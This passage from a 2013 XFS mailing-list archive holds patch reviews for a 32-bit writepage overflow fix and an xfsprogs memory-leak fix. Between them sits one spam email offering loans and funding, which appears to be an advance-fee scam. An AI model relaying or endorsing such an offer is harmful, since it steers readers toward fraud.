21:11:27 -0700 Message-ID: <5243B420.2010307@oracle.com> Date: Thu, 26 Sep 2013 12:12:16 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: Re: [PATCH v2 RESEND] xfs: fix dead loop at xfs_vm_writepage() on 32bit machine References: <52429A6C.3050908@oracle.com> <20130925213224.GG26872@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 RESEND] xfs: fix dead loop at xfs_vm_writepage() on 32bit machine In-Reply-To: <20130925213224.GG26872@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1380168691 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140933 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email On 09/26/2013 05:32 AM, Dave Chinner wrote: > On Wed, Sep 25, 2013 at 04:10:20PM +0800, Jeff Liu wrote: >> From: Jie Liu >> >> Write a file with an offset greater than 16TB on 32-bit system and >> then trigger page write-back via sync(1) as below will cause the >> task hang in a little while: > > [snip] > >> This patch just fixed both issues. >> >> Reported-by: Michael L. Semon >> Signed-off-by: Jie Liu >> --- >> v2: don't reset the s_max_bytes to MAX_LFS_FILESIZE, instead, revise the page offset >> check up strategy to avoid the potential overflow. >> v1: http://oss.sgi.com/archives/xfs/2013-07/msg00154.html >> >> fs/xfs/xfs_aops.c | 11 ++++++----- >> 1 file changed, 6 insertions(+), 5 deletions(-) >> >> diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c >> index 41a6950..6059d00 100644 >> --- a/fs/xfs/xfs_aops.c >> +++ b/fs/xfs/xfs_aops.c >> @@ -969,7 +969,9 @@ xfs_vm_writepage( >> offset = i_size_read(inode); >> end_index = offset >> PAGE_CACHE_SHIFT; >> last_index = (offset - 1) >> PAGE_CACHE_SHIFT; >> - if (page->index >= end_index) { >> + if (page->index < end_index) >> + end_offset = (xfs_off_t)(page->index + 1) << PAGE_CACHE_SHIFT; >> + else { >> unsigned offset_into_page = offset & (PAGE_CACHE_SIZE - 1); > > The logic here is already difficult to understand, and the fact that > the code that has 32 bit overflow issues is not obvious . Can you > add a comment noting the overflow issue being handled here? > >> >> /* >> @@ -978,7 +980,8 @@ xfs_vm_writepage( >> * page so that reclaim stops reclaiming it. Otherwise >> * xfs_vm_releasepage() is called on it and gets confused. >> */ >> - if (page->index >= end_index + 1 || offset_into_page == 0) >> + if (page->index > end_index || >> + (page->index == end_index && offset_into_page == 0)) >> goto redirty; > > And again here? > > That means in future we will be aware of the problem when reading > the code... Fair enough, will post a new version at a latter time. Thanks, -Jeff From leodac11@gmail.com Wed Sep 25 23:15:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,FREEMAIL_REPLY,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DAB857F51 for ; Wed, 25 Sep 2013 23:15:44 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 546AEAC002 for ; Wed, 25 Sep 2013 21:15:44 -0700 (PDT) X-ASG-Debug-ID: 1380168941-04cbb02c3a142b680001-NocioJ Received: from mail-we0-f193.google.com (mail-we0-f193.google.com [74.125.82.193]) by cuda.sgi.com with ESMTP id 1Bd8f7SMv7cW38Gy (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 25 Sep 2013 21:15:42 -0700 (PDT) X-Barracuda-Envelope-From: leodac11@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.193 Received: by mail-we0-f193.google.com with SMTP id t60so113543wes.8 for ; Wed, 25 Sep 2013 21:15:41 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=oo3Q4cgXRMTnXHvc0+EhjajxSreES6GgzdbV/G7VGEM=; b=BPqNweldI08hzu9S+GP02Z8FnqU0tV7xIz46Hnisg411ZwugeKPTL34GfGw1E38DcV pkgfByxCLs4jZaeNaTqiP7bBDCrZu2aDCDFWAqoQfpwbxpCGeG7LwK4bh5AE+/N6EcRD sKh6WfxfRWjthjKMf1duKzU8ky7RUQfiE/Pbk8K7nMVUlJDSbRMC8PjI3aUaMc2Iscrn tE3mtQmMi5lOPWrgC4IC2jlE/ttpW1dtHiBicRtJ0veFC4waz73ii71JRkPADDt6C1xY ZWQjqHWJnndyLL1cIG9jMfeTrP1xxxUnbVl4z6WFHv8h+fXcj/S4+HFrGsblR6ia0qiv jZJg== MIME-Version: 1.0 X-Received: by 10.180.189.49 with SMTP id gf17mr25329010wic.23.1380168941509; Wed, 25 Sep 2013 21:15:41 -0700 (PDT) Received: by 10.227.179.69 with HTTP; Wed, 25 Sep 2013 21:15:41 -0700 (PDT) Date: Thu, 26 Sep 2013 04:15:41 +0000 Message-ID: Subject: Partenariat From: Leonardo Dacruz X-ASG-Orig-Subj: Partenariat To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=001a11c33fd07d253f04e7419f77 X-Barracuda-Connect: mail-we0-f193.google.com[74.125.82.193] X-Barracuda-Start-Time: 1380168942 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, FUZZY_REFINANCE, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140933 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 FUZZY_REFINANCE BODY: Attempt to obfuscate words in spam 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c33fd07d253f04e7419f77 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable AVEZ-VOUS BESOIN DE FINANCEMENT POUR INVESTIR DANS VOS PROJETS OU BESOIN D'UN PR=CAT PARTICULIER ??? Bonjour, Je suis partenaire d'un groupe de bailleurs de fonds ici a Londres, qui op=E8rent des Pr=EAts et des investissements couvrant le continent Africain= et un peu partout dans le monde pour toutes autres opportunit=E9s d'affaires rentables quelque soit votre pays de r=E9sidence. Avez-vous des projets et en recherche de financement ? Notre objectif est d=92aider les personnes en qu=EAte de financement pour l= a r=E9alisation de leurs projets. Nous Voudrions savoir si vous avez des projets ou une entreprise en recherche d'investisseur ou en qu=EAte d'un Pr=EAt Particulier ? M=EAme des Soci=E9t=E9s en faillites ou toutes sortes de projets en faillites, nous sommes pr=EAts et dispos=E9s =E0 traiter votre requ=EAte pour aboutir =E0 v= otre financement. Alors si vous avez des projets rentables =E0 nous proposer, n'h=E9sitez pas= de nous contacter et d=E8s que nous recevons votre message notifiant votre int=E9r=EAt vis =E0 vis de notre offre, nous vous mettrons en liaison direc= te avec le financier des fonds pour la r=E9alisation de vos projets ou couvrir votre demande de pr=EAt. NB: Toute personne int=E9ress=E9e par la pr=E9sente offre, doit nous joindr= e sur notre adresse =E9lectronique boite e-mail personnelle pour plus de d=E9tail= : ( leocruz_0129@yahoo.com ) Tr=E8s cordialement, M. Leonardo Dacruz =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D DO YOU NEED FUNDING TO INVEST IN YOUR PROJECT OR NEED A PERSONAL LOAN??? Hello, I am a partner of a group of donors here in London, which operate loans and investments covering the African continent and around the world to any other profitable business opportunities whatever your country of residence. Do you have projects and research funding? Our goal is to help those seeking financing for their projects. We Would like to know if you have any projects or business research and looking for investor or a Private Loan? Even companies in bankruptcies and all kinds of projects failures, we are ready and willing to process your application to reach your funding. So if you have any profitable projects to offer us, please contact us and as soon as we receive your message showing your interest towards our offer, we will put you in direct contact with the financier for the realization of your projects or cover your loan application. Note: Anyone interested in this offer should contact us at our personal e-mail( leocruz_0129@yahoo.com )for more details Sincerely, M. Leonardo Dacruz --001a11c33fd07d253f04e7419f77 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable
    AVEZ-VOUS BESOIN DE FINANCEMENT POUR INVESTIR DANS VOS PRO= JETS OU BESOIN D'UN PR=CAT PARTICULIER ???

    Bonjour,

    =A0Je= suis partenaire d'un groupe de bailleurs de fonds ici a Londres, qui o= p=E8rent des Pr=EAts et des investissements couvrant le continent Africain = et un peu partout dans le monde pour toutes autres opportunit=E9s d'aff= aires rentables quelque soit votre pays de r=E9sidence.=A0 Avez-vous des pr= ojets et en recherche de financement ?
    Notre objectif est d=92aider les personnes en qu=EAte de financement pour l= a r=E9alisation de leurs projets.

    Nous Voudrions savoir si vous avez= des projets ou une entreprise en recherche d'investisseur ou en qu=EAt= e d'un Pr=EAt Particulier ? M=EAme des Soci=E9t=E9s en faillites ou tou= tes sortes de projets en=A0 faillites, nous sommes pr=EAts et dispos=E9s = =E0 traiter votre requ=EAte pour aboutir =E0 votre financement.

    Alors si vous avez des projets rentables =E0 nous proposer, n'h=E9s= itez pas de nous contacter et d=E8s que nous recevons votre message notifia= nt votre int=E9r=EAt vis =E0 vis de notre offre, nous vous mettrons en liai= son directe avec le financier des fonds pour la r=E9alisation de vos projet= s ou couvrir votre demande de pr=EAt.

    NB: Toute personne int=E9ress=E9e par la pr=E9sente offre, doit nous jo= indre sur notre adresse =E9lectronique boite e-mail personnelle pour plus d= e d=E9tail:=A0 ( leocruz_0129@yah= oo.com )

    Tr=E8s cordialement,
    M. Leonardo Dacruz



    =3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    DO YOU NEED FUNDING TO INVEST IN YOUR= PROJECT OR NEED A PERSONAL LOAN???

    Hello,
    I am a partner of a group of donors here in London, which ope= rate loans and investments covering the African continent and around the wo= rld to any other profitable business opportunities whatever your country of= residence. Do you have projects and research funding?
    Our goal is to help those seeking financing for their projects.

    We W= ould like to know if you have any projects or business research and looking= for investor or a Private Loan? Even companies in bankruptcies and all kin= ds of projects failures, we are ready and willing to process your applicati= on to reach your funding.

    So if you have any profitable projects to offer us, please contact us a= nd as soon as we receive your message showing your interest towards our off= er, we will put you in direct contact with the financier for the realizatio= n of your projects or cover your loan application.

    Note: Anyone interested in this offer should contact us at our personal= e-mail( leocruz_0129@yahoo.com )for more details

    Sincerely,
    M. Leonardo Dacruz


    --001a11c33fd07d253f04e7419f77-- From zhong@linux.vnet.ibm.com Thu Sep 26 01:41:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 44BEC7F52 for ; Thu, 26 Sep 2013 01:41:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 28AF5304043 for ; Wed, 25 Sep 2013 23:41:32 -0700 (PDT) X-ASG-Debug-ID: 1380177687-04cbb02c3a1433b00001-NocioJ Received: from e28smtp06.in.ibm.com (e28smtp06.in.ibm.com [122.248.162.6]) by cuda.sgi.com with ESMTP id A9ZQ9FMy526Hhb9u (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 25 Sep 2013 23:41:29 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 122.248.162.6 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.6] Received: from /spool/local by e28smtp06.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Thu, 26 Sep 2013 12:11:24 +0530 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.6] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.6] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.6] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.6] Received: from d28dlp02.in.ibm.com (9.184.220.127) by e28smtp06.in.ibm.com (192.168.1.136) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Thu, 26 Sep 2013 12:11:21 +0530 Received: from d28relay05.in.ibm.com (d28relay05.in.ibm.com [9.184.220.62]) by d28dlp02.in.ibm.com (Postfix) with ESMTP id 040A6394004E for ; Thu, 26 Sep 2013 12:11:05 +0530 (IST) Received: from d28av03.in.ibm.com (d28av03.in.ibm.com [9.184.220.65]) by d28relay05.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8Q6fIxv46727170 for ; Thu, 26 Sep 2013 12:11:18 +0530 Received: from d28av03.in.ibm.com (localhost [127.0.0.1]) by d28av03.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id r8Q6fK2r025930 for ; Thu, 26 Sep 2013 12:11:20 +0530 Received: from [9.123.210.162] (thinkpad-t5421.cn.ibm.com [9.123.210.162]) by d28av03.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id r8Q6fIr6025748 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Thu, 26 Sep 2013 12:11:19 +0530 Message-ID: <1380177677.2983.7.camel@ThinkPad-T5421> Subject: Re: [PATCH v2] xfsprogs: fix potential memory leak in verify_set_primary_sb() From: Li Zhong X-ASG-Orig-Subj: Re: [PATCH v2] xfsprogs: fix potential memory leak in verify_set_primary_sb() To: Eric Sandeen Cc: Mark Tinguely , Chandra Seetharaman , xfsprogs Date: Thu, 26 Sep 2013 14:41:17 +0800 In-Reply-To: <5242F31B.4060902@sandeen.net> References: <1379829679.4089.2.camel@ThinkPad-T5421> <5241E125.7010902@sgi.com> <1380094327.2526.5.camel@ThinkPad-T5421> <5242F31B.4060902@sandeen.net> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13092606-9574-0000-0000-000009CE06D5 X-Barracuda-Connect: e28smtp06.in.ibm.com[122.248.162.6] X-Barracuda-Start-Time: 1380177689 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, 2013-09-25 at 09:28 -0500, Eric Sandeen wrote: > On 9/25/13 2:32 AM, Li Zhong wrote: > > This patch tries to fix CID 997012, 997013 and 997014 reported by Coverity scan, > > as suggested by sekharan. > > > > v2: as Mark pointed out, out in the for loop before also needs list to > > be freed. Also remove out lable as it is not referenced any more. > > Fix itself looks good, thanks! Love to see the scan numbers change > for the better. ;) Thank you for all the education below. :) > Nitpicks, though: Patch changelogs usually goes below the "---" so > the history of trial and error isn't in the commit log. Not that big > a deal, it's just convention as mentioned in the kernel SubmittingPatches > doc: I think I'll practice it with a 3rd verion. > > > The "---" marker line serves the essential purpose of marking for patch > > handling tools where the changelog message ends. > > > > One good use for the additional comments after the "---" marker is for > > a diffstat, to show what files have changed, and the number of > > inserted and deleted lines per file. A diffstat is especially useful > > on bigger patches. Other comments relevant only to the moment or the > > maintainer, not suitable for the permanent changelog, should also go > > here. A good example of such comments might be "patch changelogs" > > which describe what has changed between the v1 and v2 version of the > > patch. > > > And since we're on the topic of commit messages lately, this one could > be improved too I think. > > "CID 997012" won't mean anything to a reader in the future. It'd be > better to describe what you're fixing on its own terms. Something like: > > === > If verify_set_primary_sb() completes the secondary sb scanning loop with > too few valid secondaries found (num_ok < num_sbs / 2), it will immediately > return without freeing any of the previously allocated memory (variables > sb, checked, and any items on the geo list). This was reported by > the Coverity scanner as CID 997012, 997013 and 997014. > > Fix this by using the out_free_list: goto target for this error case. > > Earlier, if get_sb() fails in the secondary scan loop, it goes to > the out: target which does not free any items on the geo list. Fix > this by using the out_free_list: target as well, and remove the now-unused > out: target. > === > > On the one hand, the fix isn't that complicated so it probably speaks for > itself. But it was complicated enough to warrant discussion & V2 on the list, > so probably worth including that detail in the final changelog. OK, I'll use the above as the changelog. > > > Also, in looking at this, I wonder if there's another minor buglet. > > in phase1.c, we turn the return value from verify_set_primary_sb() into > an error string via err_string(rval). This handles the various > error returns such as XR_INSUFF_SEC_SB, XR_EOF, etc. But in the 2nd > case above (get_sb failure), it simply returns "1" which will be interpreted > as XR_BAD_MAGIC ("bad magic number"). > > get_sb() actually returns several XR_* values, so we should probably capture > it and use that return value? That'd be a different patch though. > > I guess the comment for verify_set_primary_sb() would be changed > then too, now it says: > > * returns 1 if bad, 0 if ok > > but today we actually return 0, 1, or XR_INSUFF_SEC_SB. > > Not that big a deal, but it seems like the error returns, their handling, > and associated comments aren't quite consistent. I'll try to make another patch for the above issue. Thanks, Zhong > > Thanks, > -Eric > > > > Signed-off-by: Li Zhong > > --- > > repair/sb.c | 9 +++++---- > > 1 file changed, 5 insertions(+), 4 deletions(-) > > > > diff --git a/repair/sb.c b/repair/sb.c > > index aa550e3..d34d7a2 100644 > > --- a/repair/sb.c > > +++ b/repair/sb.c > > @@ -733,7 +733,7 @@ verify_set_primary_sb(xfs_sb_t *rsb, > > > > if (get_sb(sb, off, size, agno) == XR_EOF) { > > retval = 1; > > - goto out; > > + goto out_free_list; > > } > > > > if (verify_sb(sb, 0) == XR_OK) { > > @@ -756,8 +756,10 @@ verify_set_primary_sb(xfs_sb_t *rsb, > > /* > > * see if we have enough superblocks to bother with > > */ > > - if (num_ok < num_sbs / 2) > > - return(XR_INSUFF_SEC_SB); > > + if (num_ok < num_sbs / 2) { > > + retval = XR_INSUFF_SEC_SB; > > + goto out_free_list; > > + } > > > > current = get_best_geo(list); > > > > @@ -841,7 +843,6 @@ verify_set_primary_sb(xfs_sb_t *rsb, > > > > out_free_list: > > free_geo(list); > > -out: > > free(sb); > > free(checked); > > return(retval); > > > From zhong@linux.vnet.ibm.com Thu Sep 26 01:45:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 228B07F52 for ; Thu, 26 Sep 2013 01:45:49 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B9D9EAC001 for ; Wed, 25 Sep 2013 23:45:45 -0700 (PDT) X-ASG-Debug-ID: 1380177943-04bdf02f2214934e0001-NocioJ Received: from e23smtp08.au.ibm.com (e23smtp08.au.ibm.com [202.81.31.141]) by cuda.sgi.com with ESMTP id WU3L2Enw8Nc2A3V3 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 25 Sep 2013 23:45:44 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 202.81.31.141 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.141] Received: from /spool/local by e23smtp08.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Thu, 26 Sep 2013 16:45:42 +1000 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.141] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.141] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.141] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.141] Received: from d23dlp01.au.ibm.com (202.81.31.203) by e23smtp08.au.ibm.com (202.81.31.205) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Thu, 26 Sep 2013 16:45:39 +1000 Received: from d23relay03.au.ibm.com (d23relay03.au.ibm.com [9.190.235.21]) by d23dlp01.au.ibm.com (Postfix) with ESMTP id 6DE952CE8051 for ; Thu, 26 Sep 2013 16:45:36 +1000 (EST) Received: from d23av04.au.ibm.com (d23av04.au.ibm.com [9.190.235.139]) by d23relay03.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8Q6jPRg4129118 for ; Thu, 26 Sep 2013 16:45:25 +1000 Received: from d23av04.au.ibm.com (loopback [127.0.0.1]) by d23av04.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r8Q6jZRq002585 for ; Thu, 26 Sep 2013 16:45:35 +1000 Received: from [9.123.210.162] (thinkpad-t5421.cn.ibm.com [9.123.210.162]) by d23av04.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r8Q6jXnV002492 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO); Thu, 26 Sep 2013 16:45:34 +1000 Message-ID: <1380177932.2983.11.camel@ThinkPad-T5421> Subject: [PATCH v3 1/2] xfsprogs: fix potential memory leak in verify_set_primary_sb() From: Li Zhong X-ASG-Orig-Subj: [PATCH v3 1/2] xfsprogs: fix potential memory leak in verify_set_primary_sb() To: Eric Sandeen Cc: Mark Tinguely , Chandra Seetharaman , xfsprogs Date: Thu, 26 Sep 2013 14:45:32 +0800 In-Reply-To: <5242F31B.4060902@sandeen.net> References: <1379829679.4089.2.camel@ThinkPad-T5421> <5241E125.7010902@sgi.com> <1380094327.2526.5.camel@ThinkPad-T5421> <5242F31B.4060902@sandeen.net> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13092606-5140-0000-0000-000003E4AF6C X-Barracuda-Connect: e23smtp08.au.ibm.com[202.81.31.141] X-Barracuda-Start-Time: 1380177943 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 If verify_set_primary_sb() completes the secondary sb scanning loop with too few valid secondaries found (num_ok < num_sbs / 2), it will immediately return without freeing any of the previously allocated memory (variables sb, checked, and any items on the geo list). This was reported by the Coverity scanner as CID 997012, 997013 and 997014. Fix this by using the out_free_list: goto target for this error case. Earlier, if get_sb() fails in the secondary scan loop, it goes to the out: target which does not free any items on the geo list. Fix this by using the out_free_list: target as well, and remove the now-unused out: target. Signed-off-by: Li Zhong --- v2: as Mark pointed out, out in the for loop before also needs list to be freed. Also remove out lable as it is not referenced any more. v3: use a meaningful changlog from Eric, and hide the patch changlogs below "---". repair/sb.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/repair/sb.c b/repair/sb.c index aa550e3..d34d7a2 100644 --- a/repair/sb.c +++ b/repair/sb.c @@ -733,7 +733,7 @@ verify_set_primary_sb(xfs_sb_t *rsb, if (get_sb(sb, off, size, agno) == XR_EOF) { retval = 1; - goto out; + goto out_free_list; } if (verify_sb(sb, 0) == XR_OK) { @@ -756,8 +756,10 @@ verify_set_primary_sb(xfs_sb_t *rsb, /* * see if we have enough superblocks to bother with */ - if (num_ok < num_sbs / 2) - return(XR_INSUFF_SEC_SB); + if (num_ok < num_sbs / 2) { + retval = XR_INSUFF_SEC_SB; + goto out_free_list; + } current = get_best_geo(list); @@ -841,7 +843,6 @@ verify_set_primary_sb(xfs_sb_t *rsb, out_free_list: free_geo(list); -out: free(sb); free(checked); return(retval); -- 1.8.1.4 From jeff.liu@oracle.com Thu Sep 26 01:48:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7F1507F55 for ; Thu, 26 Sep 2013 01:48:20 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 688778F8052 for ; Wed, 25 Sep 2013 23:48:17 -0700 (PDT) X-ASG-Debug-ID: 1380178095-04cbb02c3a1434380001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id lh6InAwvIJuXZnjp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 25 Sep 2013 23:48:16 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8Q6mEGY008745 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 26 Sep 2013 06:48:15 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8Q6mEAX029570 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 26 Sep 2013 06:48:14 GMT Received: from abhmt116.oracle.com (abhmt116.oracle.com [141.146.116.68]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8Q6mDXS016507 for ; Thu, 26 Sep 2013 06:48:13 GMT Received: from [192.168.1.104] (/123.119.99.55) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 25 Sep 2013 23:48:13 -0700 Message-ID: <5243D8DE.8090003@oracle.com> Date: Thu, 26 Sep 2013 14:49:02 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v3] xfs: fix dead loop at xfs_vm_writepage() on 32bit machine Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v3] xfs: fix dead loop at xfs_vm_writepage() on 32bit machine Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1380178096 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 